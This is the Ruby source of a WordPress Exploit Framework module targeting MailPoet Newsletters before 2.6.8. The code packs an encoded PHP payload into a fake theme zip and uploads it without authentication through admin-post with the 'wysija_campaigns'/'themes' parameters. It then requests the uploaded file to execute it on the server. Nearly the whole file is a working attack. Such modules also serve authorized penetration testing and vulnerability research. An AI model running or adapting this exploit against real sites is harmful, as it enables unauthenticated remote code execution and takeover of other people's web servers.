rastating/wordpress-exploit-framework

View on GitHub
lib/wpxf/modules/exploit/shell/mailpoet_newsletters_shell_upload.rb

Summary

Maintainability
A
2 hrs
Test Coverage
# frozen_string_literal: true

class Wpxf::Exploit::MailpoetNewslettersShellUpload < Wpxf::Module
  include Wpxf

  def initialize
    super

    update_info(
      name: 'MailPoet Newsletters Shell Upload',
      desc: 'This module exploits a file upload vulnerability in versions '\
            '< 2.6.8 of the MailPoet Newsletters plugin which '\
            'allows unauthenticated users to upload and execute PHP scripts '\
            'in the context of the web server.',
      author: [
        'Marc-Alexandre Montpas', # Vulnerability discovery
        'rastating'               # WPXF module
      ],
      references: [
        ['URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html'],
        ['URL', 'http://www.mailpoet.com/security-update-part-2/'],
        ['URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php'],
        ['WPVDB', '6680']
      ],
      date: 'Jul 1 2014'
    )
  end

  def check
    check_plugin_version_from_readme('wysija-newsletters', '2.6.8')
  end

  def payload_body_builder(payload_name, theme_name)
    zip_filename = "#{Utility::Text.rand_alpha(5)}.zip"
    zip_files = {
      "#{theme_name}/style.css" => '',
      "#{theme_name}/#{payload_name}" => payload.encoded
    }

    builder = Utility::BodyBuilder.new
    builder.add_zip_file('my-theme', zip_files, zip_filename)
    builder.add_field('overwriteexistingtheme', 'on')
    builder.add_field('action', 'themeupload')
    builder.add_field('submitter', 'Upload')
    builder.add_field('page', Utility::Text.rand_alpha(10))
    builder
  end

  def run
    return false unless super

    emit_info 'Preparing payload...'
    theme_name = Utility::Text.rand_alpha(rand(5..10))
    payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
    builder = payload_body_builder(payload_name, theme_name)

    emit_info 'Uploading payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(
        url: wordpress_url_admin_post,
        body: body,
        params: { 'page' => 'wysija_campaigns', 'action' => 'themes' }
      )
    end

    if res.nil? || res.timed_out?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200 || res.body.eql?('You are not allowed here.')
      emit_info "Response code: #{res.code}", true
      emit_info "Response body: #{res.body}", true
      emit_error 'Failed to upload payload'
      return false
    end

    payload_url = normalize_uri(wordpress_url_uploads, 'wysija', 'themes', theme_name, payload_name)
    emit_success "Uploaded the payload to #{payload_url}", true

    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)
    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    return true
  end
end